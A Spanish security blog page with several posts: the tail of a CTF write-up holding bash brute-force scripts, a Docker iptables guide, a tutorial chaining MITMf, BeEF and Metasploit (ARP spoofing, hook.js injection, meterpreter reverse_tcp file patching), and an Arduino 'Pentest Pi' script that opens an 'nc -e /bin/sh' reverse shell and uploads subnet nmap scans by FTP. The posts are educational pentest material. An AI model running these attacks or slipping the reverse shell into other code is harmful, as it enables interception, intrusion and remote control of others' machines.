        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=test" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff
cat buff



Por suerte vemos que efectivamente nos devuelve otra vez el link a la segunda web de la prueba, vamos a aprovecharnos de esto y lanzar otra fuerza bruta viendo que nos devuelve la página en cada caso:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
 done
 echo "Found:$found"
 second=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
 third=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
 final=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
 for i in $(cat passwordlist.lst)
 do
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
         session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
         curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff
         second=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
         third=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
         final=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final> buff
         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
         session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
         curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=$i" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
         cat buff
done




Poco a poco veremos las respuestas del servidor, siempre la misma… ¿habéis visto eso?

<h1>Rabbits everywhere</h1></br>
You Win! - your flag is <b>fwhibbit{rabbit-6nw89BVJuOGNs6TdxfNHUM7rrA+eLg+l6ToSrgTDwkIG}</b> </br><h1>Rabbits everywhere</h1></br>
Your try: <b>987654321</b></br>
</br><a href="index.php">Start over</a></br>

¡Bien! Hemos conseguido nuestra flag utilizando únicamente comandos relativamente básicos de bash. Como veréis no he utilizado ningún regex, se me dan fatal, y me fío más de mi viejo amigo cut.

Como apunte final quiero que os deis cuenta de que este script se ha ido desarrollando a lo largo de la prueba, se puede optimizar muchísimo y podríamos hacer que solamente nos devuelva la flag, lo he dejado así para que podáis ver como funciona paso a paso y como fue el desarrollo que tuve que hacer durante la prueba.

Espero os haya gustado y cualquier duda no dudéis en dejarme un comentario.

Saludos, y como siempre, gracias por vuestra visita!

PD: Para que no se diga de mi, versión en  una sola linea del script:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff; token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">"); session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">"); for i in $(cat passwordlist.lst); do         curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff;         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");         if [[ $(grep -c "second.php" buff) -eq 1 ]];                 then found=$i;                 break;         fi;  done;  echo "Found:$found";  second=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff;  third=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff;  final=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff;  for i in $(cat passwordlist.lst);  do          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff;          token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");          session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">");          curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff;          second=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff;          third=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff;          final=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final> buff;          token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");          session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">");          curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=$i" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff;          cat buff; done
Publicado en ctf, fwhibbit-ctf, web, writeups | Deja un comentario

Iptables para Docker en un servidor expuesto a internet

Hoy os traigo una pequeña guía para aquellos que queráis instalar Docker en un servidor cuya interfaz de red está expuesta a internet. Debido a las reglas de iptables que Docker configura por defecto cuando utilizamos la opción -p para hacer forward de un puerto sin decirle una interfaz en concreto nos encontraremos con que dicho puerto queda también expuesto a internet, cosa poco deseable en el mayor de los casos.

Para solucionar esto debemos decirle a Docker que no toque nuestras reglas de iptables. En sistemas como Debian que utilizan systemd esto lo conseguiremos ejecutando los siguientes comandos:

mkdir /etc/systemd/system/docker.service.d
cat << EOF > /etc/systemd/system/docker.service.d/noiptables.conf
[Service]
ExecStart=
ExecStart=/usr/bin/docker daemon -H fd:// --iptables=false
EOF
systemctl daemon-reload

Source

Reiniciamos nuestras iptables utilizando iptables-restore por ejemplo, reiniciamos Docker y veremos que ya no genera la tabla Docker ni ninguna otra tabla. Pero, y siempre existe un pero, esto ha dejado nuestros containers sin acceso a internet.

El primer paso para solucionar esto será activar el forwarding si no lo tenemos ya:

sysctl -w net.ipv4.ip_forward=1

Y ahora añadiremos las siguientes reglas de iptables:

iptables -A FORWARD -i docker0 -o eth0 -j ACCEPT
iptables -A FORWARD -i eth0 -o docker0 -j ACCEPT

Esto permitirá que el tráfico llegue a los containers pero el problema vendrá en que no sabrán que hacer con la respuesta, para ello necesitaremos añadir una regla con MASQUERADE, si utilizáis el rango por defecto de Docker la regla se vería así:

iptables -t nat -A POSTROUTING -s 172.17.0.0/24 -o eth0 -j MASQUERADE

Esto deberéis hacerlo para cada segmento de red que utilicéis en Docker y queráis que tenga acceso a internet.

Con esto ya podéis abrir y cerrar puertos de la forma habitual en vuestro servidor sin que Docker los abra por su cuenta.

Wazuh

Este problema me lo encontré revisando mi instalación de Wazuh, el problema vino en que cuando realice los anteriores cambios los clientes dejaron de ser capaces de conectarse a Wazuh.

El problema viene de que Wazuh ve que la ip de origen es la de nuestro servidor en lugar de nuestro cliente debido al MASQUERADE y al no coincidir con ningún cliente rechaza los paquetes.

La única solución que he encontrado hasta ahora para esto es ha sido quitar los clientes y volver a registrarlos utilizando any como ip de tal manera que Wazuh acepte cualquier ip de origen para dicho cliente.

Recordad que para que los containers tengan internet, si habéis utilizado el docker-compose, necesitais añadir el MASQUERADE para la red correspondiente, en mi caso 172.17.0.0/24.

Espero os haya gustado y os salve de algún susto como el que yo me lleve al ver mis containers expuesto a internet a pesar de mi arduo trabajo con iptables para que esto no sucediera, pero de todo se aprende.

Saludos, y como siempre, gracias por vuestra visita!

Publicado en docker, tutorial, wazuh | Deja un comentario

Combinando MITMf+Beef+Metasploit

En el post de hoy vamos a ver como podemos combinar estas tres herramientas que seguramente ya conozcáis de forma individual.

Aquí os dejo sus respectivos repositorios para que os los podáis instalar, están muy bien documentados así que no me voy a parar en este punto:

Este es un pequeño diagrama sobre como funcionaría el ataque:

+---------+
|         |
| Victim  <--------------------------------+
|         |                                |
+----+----+                                |
     |                                     |
     |                                     |
+----v----+                          +-----+-----+
|         |                          |           |
|  MIMf   +-------------------------->   Beef    |
|         <--------------+           |           |
+----+----+              |           +-----^-----+
     |                   |                 |
     |                   |                 |
+----v----+         +----+------+          |
|         |         |           |          |
| Internet|         | Metasploit ----------+
|         |         |           |
+---------+         +-----------+

Una explicación rápida sería:

  1. Equipo victima intenta salir a Internet pero, sea por el método que sea, MITMf intercepta el tráfico.
  2. MITMf inyecta el payload de Beef en el caso de websites o infecta archivos que vayan por HTTP utilizando Metasploit.
  3. Una vez el navegador este infectado Beef nos permite lanzar diferentes exploits, entre ellos una colección cargada directamente desde Metasploit.

Para poder combinar con éxito estas tres herramientas debemos hacer ciertos cambios en sus configuraciones por defecto y ejecutarlas en un orden determinado. La primera que debemos arrancar sera metasploit.

Para ayudarnos en futuras automatizaciones crearemos un archivo llamado «rpc-init.rc» y que contendrá la siguiente linea:

load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123

Y se lo pasamos en el arranque a Metasploit de la siguiente manera:

msfconsole -r rpc-init.rc

Esto lo que hace es arrancar el servidor RPC de Metasploit que utilizarán luego MITMf y Beef para comunicarse con el mismo. Fijarse bien en que no he activado el SSL ya que MITMf no lo soporta, pero Beef si, en caso de que solo utilicéis este último podéis activar el SSL simplemente añadiendo SSL=y al final de la linea de rpc-init.rc.

Una vez tengamos a Metasploit escuchando el siguiente en arrancar sera Beef, pero antes debemos activar el soporte para Metasploit, para ello debemos modificar dos archivos.

El primero será config.yaml que estará situado en la carpeta principal de beef, iremos a la sección extensions y la dejaremos de la siguiente manera:

 extension:
        requester:
            enable: true
        proxy:
            enable: true
            key: "beef_key.pem"
            cert: "beef_cert.pem"
        metasploit:
            enable: true
        social_engineering:
            enable: true
        evasion:
            enable: false
        ipec:
            enable: true
        # this is still experimental..
        dns:
            enable: false
        # this is still experimental..
        dns_rebinding:
            enable: false

Aquí la opción más importante es la de Metasploit, el resto podéis activar o desactivar a vuestro gusto.

Ahora pasaremos al siguiente archivo config.yaml que estará en la ruta extensions/metasploit/ dentro de nuestra carpeta de beef nuevamente. Comprobamos que la configuración sea la correcta:

beef:
    extension:
        metasploit:
            name: 'Metasploit'
            enable: true
            # Metasploit msgrpc connection options
            host: "127.0.0.1"
            port: 55552
            user: "msf"
            pass: "abc123"
            uri: '/api'
            ssl: false
            ssl_version: 'TLS1'
            ssl_verify: true
            # Public connect back host IP address for victim connections to Metasploit
            callback_host: "127.0.0.1"
            # URIPATH from Metasploit Browser AutoPwn server module
            autopwn_url: "autopwn"
            # Start msfrpcd automatically with BeEF
            auto_msfrpcd: false
            auto_msfrpcd_timeout: 120
            msf_path: [
              {os: 'osx', path: '/opt/local/msf/'},
              {os: 'livecd', path: '/opt/metasploit-framework/'},
              {os: 'bt5r3', path: '/opt/metasploit/msf3/'},
              {os: 'bt5', path: '/opt/framework3/msf3/'},
              {os: 'backbox', path: '/opt/backbox/msf/'},
              {os: 'kali', path: '/usr/share/metasploit-framework/'},
              {os: 'pentoo', path: '/usr/lib/metasploit'},
              {os: 'win', path: 'c:\\metasploit-framework\\'},
              {os: 'custom', path: ''}
            ]

Aquí debemos asegurarnos de ciertas cosas, la primera es que la opción ssl esté en false ya que no lo utilizaremos por lo que comente anteriormente. Por el resto simplemente comprobaremos que tanto las credenciales como los datos de conexión se corresponden con los de nuestro Metasploit, todo debería estar correcto por defecto pero nunca está de más revisarlo.

Ahora arrancamos beef de forma normal desde la carpeta principal:

./beef

Una vez que termine de arrancar ya tenemos nuestro «backend» listo, lo llamo backend porque serán las aplicaciones en las que nos apoyemos mayormente durante la post-explotación siendo MITMf la principal aplicación atacante.

Antes de poder arrancar MITMf debemos modificar su archivo de configuración para que se adapte a nuestras necesidades, este archivo se encuentra dentro de la carpeta de MITMf en la ruta config/ y se llama mitmf.conf.

Está sea quizás la parte más compleja de configurar ya que MITMf utilizará diferentes payloads dependiendo del sistema de la victima.

El primer, y cambio más importante, es que en la sección [FilePwn][[Targets]] de dicho archivo cambiemos todas las variables HOST para que apunten a nuestro equipo.

Ahora viene la parte compleja, como no existe un payload universal debemos definir el que prefiramos y el puerto en el que escuchará en cada caso, vamos a ver un ejemplo para windows x86:

[[[[WindowsIntelx86]]]]
                        PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
                        # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
                        PATCH_METHOD = automatic
                        HOST = 10.0.0.1
                        PORT = 8090
                        # SHELL for use with automatic PATCH_METHOD
                        SHELL = iat_reverse_tcp_stager_threaded
                        # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
                        SUPPLIED_SHELLCODE = None
                        ZERO_CERT = True
                        # PATCH_DLLs as they come across
                        PATCH_DLL = False
                        # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
                        RUNAS_ADMIN = False
                        # XP_MODE  - to support XP targets
                        XP_MODE = True
                        # SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and
                        #  with PATCH_METHOD 'replace' use an EXE not DLL
                        SUPPLIED_BINARY = veil_go_payload.exe
                        MSFPAYLOAD = windows/meterpreter/reverse_tcp

Está sería la configuración por defecto donde solamente he cambiado la variable HOST para que apunte a mi máquina y vemos al final del todo que el payload a utilizar sera windows/meterpreter/reverse_tcp y que el puerto al que se intentará conectar sera el 8090. En ciertos casos como meterpreter sí que podemos apuntar diversos targets al mismo puerto ya que soportaría conexiones de Windows x86 y x64 pero por ejemplo no soportaría un equipo Linux, con lo cual necesitaríamos utilizar un puerto distinto.

Una vez tengamos todo configurado a nuestra manera y antes de arrancar MITMf, sería recomendable que arrancásemos en Metasploit los handlers necesarios, para el caso anterior; y en el caso de que solo fuéramos a atacar Windows podríamos aprovechar el msfconsole que ya tenemos abierto y ejecutar lo siguiente:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 8090
exploit -j

Como veis las opciones LHOST y LPORT se corresponden con las que configuramos en MITMf, con esto ya tendremos a nuestro Metasploit esperando a que MITMf infecte algún archivo y nuestra victima lo ejecute.

MITMf soporta muchos métodos de ataque, desde dejarlo a el hacer todo el trabajo realizando diversos ataques de poisoning hasta simplemente redireccionando el tráfico que deseemos a un puerto a la escucha, aquí voy a tirar de RTFM y os animo a que investiguen las distintas opciones para ver cual se ajusta más a vuestras necesidades.

Ahora bien, existen dos opciones que necesitamos pasarle a MITMf independientemente del tipo de ataque para poder sacar partido a todo este trabajo que hemos realizado hasta ahora, estas opciones son:

--filepwn --inject --js-url http://10.0.0.1:3000/hook.js

En este caso debéis modificar la opción js-url por la URL donde está vuestro beef sirviendo el archivo hook.js, estas URL’s podéis encontrarlas en la consola donde arrancasteis beef ya que por defecto escucha en todas las interfaces.

Aquí os dejo un ejemplo de como se podría lanzar MITMf utilizando estas opciones y realizando un ataque ARP spoof sobre una máquina en concreto:

./mitmf.py --spoof --arp -i wlp2s0 --gateway 10.0.2.1 --target 10.0.2.15 --filepwn --inject --js-url http://10.0.0.1:3000/hook.js

Como nota final sobre MITMf deciros que vais a necesitar ejecutarla con permisos de root porque sino probablemente ni os arranque.

Espero os haya gustado esta guía y como siempre, cualquier duda o sugerencia dejadme un comentario 🙂

Saludos y gracias por vuestra visita!

Publicado en beef, Metasploit, MITMf, tools, tutorial | Deja un comentario

Controlar script de python desde Arduino LCD Shield+Arduino UNO

Hoy dejo un poco de lado los tutoriales sobre bash para traeros un pequeño DIY que surgió a raíz de la caja de The Hackers Garage que gané durante el CTF de la gente de Follow The White Rabbit.

En esta caja uno de los proyectos que incluía era la posibilidad de conectar un shield de Arduino, que traía una pantalla 16×2 LCD y botones, a una Orange pi y controlar la ejecución de un script de python utilizando la LCD y sus botones.

La mayor diferencia entre sus instrucciones y lo que hoy os traigo es que yo he acoplado el shield a un Arduino UNO ¿Qué significa esto? Pues que me olvido de tener que usar los GPIO de la Orange Pi y en cambio he conseguido una pantalla que se comunica a través del USB/Serial con cualquier dispositivo que lo soporte.

Antes de comenzar recordaros que no soy experto ni en Arduino ni en Python con lo cual el código que os presento a continuación es muy, muy mejorable; pero funciona jeje

Comencemos con el código del Arduino:

#include <LiquidCrystal.h>

LiquidCrystal lcd(8, 9, 4, 5, 6, 7);           // Seleccionamos los pines que utiliza la pantalla LCD

//Definimos algunos valores que usaran el panel y los botones
int adc_key_in  = 0;

#define btnRIGHT  0
#define btnUP     1
#define btnDOWN   2
#define btnLEFT   3
#define btnSELECT 4
#define btnNONE   5

//Estas variables nos ayudaran a controlar el input de los botones
int button_count=0;
int button_last=0;


int read_LCD_buttons(){               // Funcion para leer el input de los botones
    adc_key_in = analogRead(0);       // Leemos el valor del sensor

    //Estos valores son aproximados de los resultados que me envia el sensor.
    //No deberiais necesitar cambiarlos.
    if (adc_key_in > 1000) return btnNONE; 

    if (adc_key_in < 50)   return btnRIGHT;  
    if (adc_key_in < 250)  return btnUP; 
    if (adc_key_in < 450)  return btnDOWN; 
    if (adc_key_in < 650)  return btnLEFT; 
    if (adc_key_in < 850)  return btnSELECT;  

    return btnNONE;                // Cuando nos se cumple ninguno, enviamos este
}

void setup(){
   lcd.begin(16, 2);               // Inicializamos la pantalla LCD
   Serial.begin(9600);             // Inicializamos el puerto serie
   Serial.setTimeout(100);         // Reducimos el timeout del puerto serie para reducir el lag, quizás querais ajustarlo
}
 
void loop(){
  // En caso de que se haya recibido algo por el puerto serie
  if (Serial.available()) {          
    // Leemos el contenido en el buffer a un String, si no hemos modificado el timeout esto tarda 2.5 segundos                               
    String buff = Serial.readString();                              
    if (buff == "clear_lcd") {
      // Si recibimos la orden "clear_lcd" borramos la pantalla
      lcd.clear();                                                  
    } else {
      // Localizamos el separador ","
      int commaIndex = buff.indexOf(',');  
      // Extraemos el mensaje a imprimir                         
      String message = buff.substring(0,commaIndex);    
      // Extraemos la linea en que queremos escribir el mensaje             
      int lcd_line = buff.substring(commaIndex+1).toInt();   
      // Movemos el cursos a la linea que deseamos       
      lcd.setCursor(0,lcd_line);   
      // Imprimimos el mensaje                                 
      lcd.print(message);                                           
    }
  }
  // Llamamos a la funcion para ver si se ha pulsado algun boton
  int button_pressed=read_LCD_buttons();        
  // En mi caso una pulsacion del boton enviaba aproximadamente 1000 el mismo resultado
  // para contabilizar una pulsacion y no 1000 utilizamos ciertas variables para controlarlo
  // En caso de que el boton sea igual que el anterior, se haya pulsado 1200 veces y no sea 5/Ninguno                                        
  if (button_pressed == button_last && button_count == 1200 && button_pressed != 5){   
    // Enviamos el digito correspondiente al boton pulsado
    Serial.println(button_pressed);
    // Esperamos a que se limpie el buffer
    Serial.flush(); 
    // Reinicializamos el contador de pulsaciones
    button_count = 0;
  } else if (button_pressed == button_last && button_pressed != 5){
    // Si el boton es el mismo que se pulso anteriormente y no es 5/Ninguno, contamos una pulsacion
    button_count+=1;
  } else {
    // Si no se cumple nada de lo anterior reiniciamos el contador
    button_count = 0;
  }
  // Guardamos cual fue el ultimo boton pulsado para el siguiente ciclo
  button_last=button_pressed;
}

He intentado comentarlo lo mejor posible para que se entienda pero cualquier duda no dudéis en dejarme un comentario.

Básicamente este script se divide en dos partes: input y output.

En la parte de input, que correspondería a la LCD, el Arduino esta escuchando en el puerto serial por un String con el formato «mensaje,linea», o bien, el comando «clear_lcd» para limpiar la pantalla.

Para el output el Arduino lee en cada ciclo el sensor analógico al que está enchufada la botonera y utiliza unos thresholds (que pueden variar en vuestro caso) para identificar que botón se ha pulsado. El mayor problema que me encontré en esta parte fue que una pulsación no se correspondía a un cambio único en el sensor, sino que varios ciclos ocurrían mientras yo pulsaba el botón haciendo que pareciese que estaba machacandolo en lugar de hacer una única pulsación, en mi caso el threshold con el que quedé más contento fue 1200, pero quizás queráis ajustarlo a vuestro gusto pero, recordad, a menos número, mayor sensibilidad.

Ahora pasemos al Python. La gente de The Hackers Garage nos da un script que utiliza los GPIO de la Orange Pi para comunicarse con la LCD y los botones, pero nosotros ya no necesitamos esto, así que toca modificar un poco el código:

#!/usr/bin/python
import time
from socket import socket, SOCK_STREAM, SOCK_DGRAM, AF_INET
import string
import re
import os
import sys
import subprocess 
import serial
import urllib #Used to display the Public IP address.
from subprocess import PIPE
import ftplib #Used to upload Nmap scan results to FTP server.
from datetime import datetime # Used the genreate the filename used in the packet capture dump


#Change thease values so that the dumped file is uploaded to your FTP server.
ftp_server = ""
ftp_username = ""
ftp_password = ""
#Reverse shell IP
connectingClientIP = "127.0.0.1"

# Button mapping
#button_reset  = connector.gpio1p40
#button_analog  = connector.gpio1p38

# Define some device constants
LCD_WIDTH = 16    # Maximum characters per line
LCD_CHR = True
LCD_CMD = False

LCD_LINE_1 = 0 # LCD RAM address for the 1st line
LCD_LINE_2 = 1 # LCD RAM address for the 2nd line

# Timing constants
E_PULSE = 0.0005
#E_DELAY = 0.0005
E_DELAY = 0.5
output = "NO"

ser = serial.Serial('/dev/ttyACM0', 9600)
global p
def main():
# Main program block
  analog_pressed=5;
  socketMain = socket(AF_INET,SOCK_STREAM)
  lcd_init(ser)

  #Contains all modules which can be run on the device. The key is the displayed name on the LCD and the value is the function name
  modules = {'SSHTunnel status': 'reverseSSH',
             'NMAP Scan&Upload': 'nmapScanUpload',
             'ConnectivityTest': 'connectivityTest'}
  displayText = modules.keys()
  # Checks if the script has been run as root.
  if os.getuid() == 0:
    lcd_string("Pentest Pi",LCD_LINE_1)
    lcd_string("Select an option",LCD_LINE_2)
  else:
    lcd_string("Run the script",LCD_LINE_1)
    lcd_string("with root",LCD_LINE_2)
  try:
    cmd = "nc -e /bin/sh " + connectingClientIP + " 22"
    global p
    p = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    print "Reverse shell connecting.."
  except OSError as e:
    print >>sys.stderr, "Execution failed:", e

  while True:    
    value_out = 0
    menuOption = 0
    analog_pressed = read_button(ser)

    if (analog_pressed == 4):
        time.sleep(0.5)
        lcd_clear()
        lcd_string(displayText[menuOption], LCD_LINE_1)
        lcd_string("<previous  next>", LCD_LINE_2)
        while True:
            analog_pressed = read_button(ser)
            #reset_pressed = gpio.input(button_reset
            if (analog_pressed == 0):
                menuOption = menuOption + 1
                if menuOption > len(modules) - 1:
                    menuOption = 0
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 3):
                menuOption = menuOption - 1
                if menuOption < 0:
                    menuOption = len(modules) - 1
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 4):
                globals().get(modules[displayText[menuOption]])()
                time.sleep(0.5)
                break
def read_button(ser):
  if ser.in_waiting:
    button=ser.readline()
    return int(button)

def lcd_init(ser):
  # Initialise display
  ser.write("clear_lcd")
  time.sleep(2)

def lcd_clear():
  ser.write("clear_lcd")
  time.sleep(E_DELAY)

def getPublicIP():
    publicIPUrl = urllib.urlopen("http://ipinfo.io/ip")
    publicIPre = re.findall( r'[0-9]+(?:\.[0-9]+){3}', publicIPUrl.read())
    return publicIPre[0]

def getPrivateIP():
    s = socket(AF_INET, SOCK_DGRAM)
    s.connect(('google.com', 0))
    privateIp = s.getsockname()
    return privateIp[0]

def reverseSSH():
    global p
    p.poll()
    print 'Reverse Shell Status'
    if p.returncode == None:
      lcd_string("Shell Started",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)
    else:
      lcd_string("Shell Failed",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)  
    functionBreak()
 
def nmapScanUpload():
    print 'Nmap Scan & Upload'
    ipToScan = getPrivateIP()
    #Generates the ip address that can be fed into the nmap command. This simple replaces the 4th octet with a 0 and appends a /24 to scan the class C subnet.
    ipToScan = ipToScan[:string.rfind(ipToScan, '.') + 1] + '0/24'
    index = string.rfind(ipToScan, '.')
    print index
    print ipToScan
    #Starts the bridge interface and sets the display.
    nmapScan = subprocess.Popen('nmap ' + ipToScan + ' -oN nmapoutput.txt', shell=True, stderr=PIPE)
    lcd_clear()
    lcd_string("Running",LCD_LINE_1)
    lcd_string("Nmap Scan",LCD_LINE_2)
    error = nmapScan.communicate()
    errorCheck(error, 'NMAP Failed', 'Scan Complete')
    lcd_clear()
    lcd_string("Scan",LCD_LINE_1)
    lcd_string("Complete",LCD_LINE_2)
    time.sleep(1)
    lcd_clear()
    lcd_string("Uploading",LCD_LINE_1)
    lcd_string("File",LCD_LINE_2)
    #Starts FTP session
    ftpSession = ftplib.FTP(ftp_server, ftp_username, ftp_password)
    #ftpSession.cwd('nmap')
    #Opens file to be uploaded
    file = open('nmapoutput.txt', 'rb')
    #Uploads the File
    ftpSession.storbinary('STOR nmapoutput.txt', file)
    file.close()
    ftpSession.quit()
    lcd_clear()
    lcd_string("Upload",LCD_LINE_1)
    lcd_string("Successful",LCD_LINE_2)
    time.sleep(3)
    functionBreak()

def connectivityTest():
    print 'Connectivity Test'
    #Pings google.com
    thePing = subprocess.Popen('ping -c 5 google.com', shell=True, stdout=PIPE, stderr=PIPE)
    lcd_clear()
    lcd_string("Testing",LCD_LINE_1)
    lcd_string("Connectivity",LCD_LINE_2)
    pingOut, pingErr = thePing.communicate()
    #If the ping fails ping 8.8.8.8
    lcd_clear()
    if len(pingErr) > 0:

        thePing = subprocess.Popen('ping -c 5 8.8.8.8', shell=True, stdout=PIPE, stderr=PIPE)
        pingOut, pingErr = thePing.communicate()
        print 1
        #If pinging 8.8.8.8 fails display there is no internet connection
        if len(pingErr) > 0:
            lcd_string("No Internet",LCD_LINE_1)
            lcd_string("Connection",LCD_LINE_2)
            print 2
        #If pinging 8.8.8.8 succeeds, display there is no DHCP service available for the SlyPi to use.
        else:
            lcd_string("No DHCP",LCD_LINE_1)
            lcd_string(" Available",LCD_LINE_2)
            print 3
        functionBreak()
    else:
        privateIP = getPrivateIP()
        publicIP = getPublicIP()
        print privateIP
        print publicIP
        #Displays the public and private IP addresses on the LED screen.
        lcd_string(privateIP,LCD_LINE_1) 
        lcd_string(publicIP,LCD_LINE_2)
        time.sleep(3)
        functionBreak()

def functionBreak():
    while read_button(ser):
        os.execl('/home/kalrong/thg.py', '')

def errorCheck(error, failedMessage, succeedMessage):
    lcd_clear()
    if 'brctl: not found' in error:
        lcd_string("Failed",LCD_LINE_1)
        lcd_string("Install brctl",LCD_LINE_2)        
    elif len(error[1]) == 0:
        lcd_string(succeedMessage,LCD_LINE_1)
        time.sleep(3)
    elif len(error[1]) > 0:
        lcd_string(failedMessage,LCD_LINE_1)
        time.sleep(2)
    error = 0

def lcd_string(message,line):
  # Send string to display

  message = message.ljust(LCD_WIDTH," ")
  ser.write(bytes(message+","+str(line)))
  time.sleep(E_DELAY)
if __name__ == '__main__':

  try:
    main()
  except KeyboardInterrupt:
    pass
  finally:
    lcd_clear()
    lcd_string("Goodbye!",LCD_LINE_1)
    ser.close()

Si tenéis la misma caja quizás os hayáis encontrado con el mismo problema que yo, y es que las funciones de connectivityTest y reverseSSH no funcionaban como se esperaba, en el código de arriba he solucionado dichos problemas.

Como podéis ver en el código para la comunicación con el Arduino utilizamos la librería Serial de python (pip install pyserial) y utilizamos las funciones lcd_string, lcd_init, lcd_clear y read_button para interactuar con el mismo.

Para evitar modificar demasiado el código y que se pudieran hacer comparaciones he reutilizado lo máximo el código que se nos da, como por ejemplo las constantes LCD_LINE que especifican la linea de la pantalla donde deseamos imprimir. Por pura estética también he añadido un mensaje de previous/next en el menú.

